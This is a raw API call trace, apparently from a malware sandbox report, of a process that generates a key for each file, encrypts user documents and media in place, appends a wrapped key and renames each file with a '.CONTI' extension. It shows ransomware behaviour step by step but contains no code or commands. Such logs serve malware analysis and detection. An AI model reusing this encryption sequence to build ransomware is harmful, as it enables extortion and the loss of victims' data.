	[0137.858] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\YjeT.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\yjet.xlsx")) returned 0x20
	[0137.858] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\YjeT.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\yjet.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0137.858] GetLastError () returned 0x0
	[0137.858] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=44723) returned 1
	[0137.858] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xaeb3
	[0137.858] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.859] SetEndOfFile (hFile=0x450) returned 1
	[0137.859] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.859] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.859] WriteFile (in: hFile=0x450, lpBuffer=0x6b4577c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b4577c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0137.860] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.860] ReadFile (in: hFile=0x450, lpBuffer=0x5c40000, nNumberOfBytesToRead=0xaeb3, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0xaeb3, lpOverlapped=0x0) returned 1
	[0137.861] CryptEncrypt (in: hKey=0x6b7eb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0xaeb3, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0xaec0) returned 1
	[0137.861] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.861] WriteFile (in: hFile=0x450, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0xaec0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0xaec0, lpOverlapped=0x0) returned 1
	[0137.861] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.861] WriteFile (in: hFile=0x450, lpBuffer=0x6b45770*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b45770*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0137.862] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.862] CloseHandle (hObject=0x450) returned 1
	[0137.862] GetProcessHeap () returned 0x1720000
	[0137.862] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fe8e8
	[0137.862] lstrcpyW (in: lpString1=0x17fe8e8, lpString2="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\YjeT.xlsx" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\YjeT.xlsx") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\YjeT.xlsx"
	[0137.862] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\YjeT.xlsx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\YjeT.xlsx.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\YjeT.xlsx.CONTI"
	[0137.862] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\YjeT.xlsx" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\yjet.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\GnSHSuaKz0LUn_\\YjeT.xlsx.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\gnshsuakz0lun_\\yjet.xlsx.conti")) returned 1
	[0137.862] GetProcessHeap () returned 0x1720000
	[0137.862] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fe8e8 | out: hHeap=0x1720000) returned 1
	[0137.862] CryptDestroyKey (hKey=0x6b7eb78) returned 1
	[0137.862] GetProcessHeap () returned 0x1720000
	[0137.862] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6895800 | out: hHeap=0x1720000) returned 1
	[0137.862] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0137.862] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b45e50 | out: phKey=0x6b45e50*=0x6b7ec78) returned 1
	[0137.863] CryptExportKey (in: hKey=0x6b7ec78, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45e54, pdwDataLen=0x34ffaac | out: pbData=0x6b45e54*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0137.863] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\jiR0X.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\jir0x.wav")) returned 0x20
	[0137.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\jiR0X.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\jir0x.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0137.864] GetLastError () returned 0x0
	[0137.864] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=8756) returned 1
	[0137.864] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2234
	[0137.864] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.864] SetEndOfFile (hFile=0x450) returned 1
	[0137.864] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.864] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.864] WriteFile (in: hFile=0x450, lpBuffer=0x6b45e54*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b45e54*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0139.121] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.121] ReadFile (in: hFile=0x450, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2234, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2234, lpOverlapped=0x0) returned 1
	[0139.123] CryptEncrypt (in: hKey=0x6b7ec78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2234, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2240) returned 1
	[0139.123] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.123] WriteFile (in: hFile=0x450, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2240, lpOverlapped=0x0) returned 1
	[0139.123] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.123] WriteFile (in: hFile=0x450, lpBuffer=0x6b45e48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b45e48*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0139.124] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.124] CloseHandle (hObject=0x450) returned 1
	[0139.124] GetProcessHeap () returned 0x1720000
	[0139.124] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.073] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\jiR0X.wav" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\jiR0X.wav") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\jiR0X.wav"
	[0141.074] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\jiR0X.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\jiR0X.wav.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\jiR0X.wav.CONTI"
	[0141.074] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\jiR0X.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\jir0x.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\tXskiK28vOn6hG4-kVD\\jiR0X.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\txskik28von6hg4-kvd\\jir0x.wav.conti")) returned 1
	[0141.074] GetProcessHeap () returned 0x1720000
	[0141.074] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.074] CryptDestroyKey (hKey=0x6b7ec78) returned 1
	[0141.074] GetProcessHeap () returned 0x1720000
	[0141.075] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17406b8 | out: hHeap=0x1720000) returned 1
	[0141.075] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0141.075] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b47520 | out: phKey=0x6b47520*=0x6b7e9b8) returned 1
	[0141.075] CryptExportKey (in: hKey=0x6b7e9b8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47524, pdwDataLen=0x34ffaac | out: pbData=0x6b47524*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0141.075] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\LZti-sh.m4a" (normalized: "c:\\users\\fd1hvy\\music\\lzti-sh.m4a")) returned 0x20
	[0141.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\LZti-sh.m4a" (normalized: "c:\\users\\fd1hvy\\music\\lzti-sh.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0141.076] GetLastError () returned 0x0
	[0141.076] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=63650) returned 1
	[0141.076] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf8a2
	[0141.076] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.076] SetEndOfFile (hFile=0x434) returned 1
	[0141.076] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.076] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.076] WriteFile (in: hFile=0x434, lpBuffer=0x6b47524*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b47524*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0141.078] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.078] ReadFile (in: hFile=0x434, lpBuffer=0x5c40000, nNumberOfBytesToRead=0xf8a2, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0xf8a2, lpOverlapped=0x0) returned 1
	[0141.083] CryptEncrypt (in: hKey=0x6b7e9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0xf8a2, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0xf8b0) returned 1
	[0141.083] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.083] WriteFile (in: hFile=0x434, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0xf8b0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0xf8b0, lpOverlapped=0x0) returned 1
	[0141.083] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.083] WriteFile (in: hFile=0x434, lpBuffer=0x6b47518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b47518*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0141.083] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.084] CloseHandle (hObject=0x434) returned 1
	[0141.084] GetProcessHeap () returned 0x1720000
	[0141.084] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.084] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\LZti-sh.m4a" | out: lpString1="C:\\Users\\FD1HVy\\Music\\LZti-sh.m4a") returned="C:\\Users\\FD1HVy\\Music\\LZti-sh.m4a"
	[0141.084] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\LZti-sh.m4a", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\LZti-sh.m4a.CONTI") returned="C:\\Users\\FD1HVy\\Music\\LZti-sh.m4a.CONTI"
	[0141.084] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\LZti-sh.m4a" (normalized: "c:\\users\\fd1hvy\\music\\lzti-sh.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\LZti-sh.m4a.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\lzti-sh.m4a.conti")) returned 1
	[0141.084] GetProcessHeap () returned 0x1720000
	[0141.084] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.084] CryptDestroyKey (hKey=0x6b7e9b8) returned 1
	[0141.084] GetProcessHeap () returned 0x1720000
	[0141.084] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d198 | out: hHeap=0x1720000) returned 1
	[0141.084] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0141.085] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b459c0 | out: phKey=0x6b459c0*=0x6b7eaf8) returned 1
	[0141.085] CryptExportKey (in: hKey=0x6b7eaf8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b459c4, pdwDataLen=0x34ffaac | out: pbData=0x6b459c4*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0141.085] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\38vAyTov8Iu1.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\38vaytov8iu1.m4a")) returned 0x20
	[0141.085] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\38vAyTov8Iu1.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\38vaytov8iu1.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0141.086] GetLastError () returned 0x0
	[0141.086] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=54249) returned 1
	[0141.086] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd3e9
	[0141.086] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.086] SetEndOfFile (hFile=0x434) returned 1
	[0141.086] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.086] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.086] WriteFile (in: hFile=0x434, lpBuffer=0x6b459c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b459c4*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0141.088] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.088] ReadFile (in: hFile=0x434, lpBuffer=0x5c40000, nNumberOfBytesToRead=0xd3e9, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0xd3e9, lpOverlapped=0x0) returned 1
	[0141.093] CryptEncrypt (in: hKey=0x6b7eaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0xd3e9, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0xd3f0) returned 1
	[0141.093] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.093] WriteFile (in: hFile=0x434, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0xd3f0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0xd3f0, lpOverlapped=0x0) returned 1
	[0141.093] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.094] WriteFile (in: hFile=0x434, lpBuffer=0x6b459b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b459b8*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0141.094] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.094] CloseHandle (hObject=0x434) returned 1
	[0141.094] GetProcessHeap () returned 0x1720000
	[0141.094] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.094] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\38vAyTov8Iu1.m4a" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\38vAyTov8Iu1.m4a") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\38vAyTov8Iu1.m4a"
	[0141.094] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\38vAyTov8Iu1.m4a", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\38vAyTov8Iu1.m4a.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\38vAyTov8Iu1.m4a.CONTI"
	[0141.094] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\38vAyTov8Iu1.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\38vaytov8iu1.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\38vAyTov8Iu1.m4a.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\38vaytov8iu1.m4a.conti")) returned 1
	[0141.094] GetProcessHeap () returned 0x1720000
	[0141.094] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.094] CryptDestroyKey (hKey=0x6b7eaf8) returned 1
	[0141.094] GetProcessHeap () returned 0x1720000
	[0141.094] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c52f0 | out: hHeap=0x1720000) returned 1
	[0141.094] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0141.094] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b45c08 | out: phKey=0x6b45c08*=0x6b7eb38) returned 1
	[0141.095] CryptExportKey (in: hKey=0x6b7eb38, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45c0c, pdwDataLen=0x34ffaac | out: pbData=0x6b45c0c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0141.095] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\7T6zX.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\7t6zx.mp3")) returned 0x20
	[0141.095] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\7T6zX.mp3" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\7t6zx.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0141.096] GetLastError () returned 0x0
	[0141.096] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=52691) returned 1
	[0141.096] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xcdd3
	[0141.096] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.096] SetEndOfFile (hFile=0x434) returned 1
	[0141.096] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.096] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.096] WriteFile (in: hFile=0x434, lpBuffer=0x6b45c0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b45c0c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0141.098] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.098] ReadFile (in: hFile=0x434, lpBuffer=0x5c40000, nNumberOfBytesToRead=0xcdd3, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0xcdd3, lpOverlapped=0x0) returned 1
	[0141.103] CryptEncrypt (in: hKey=0x6b7eb38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0xcdd3, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0xcde0) returned 1
	[0141.103] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
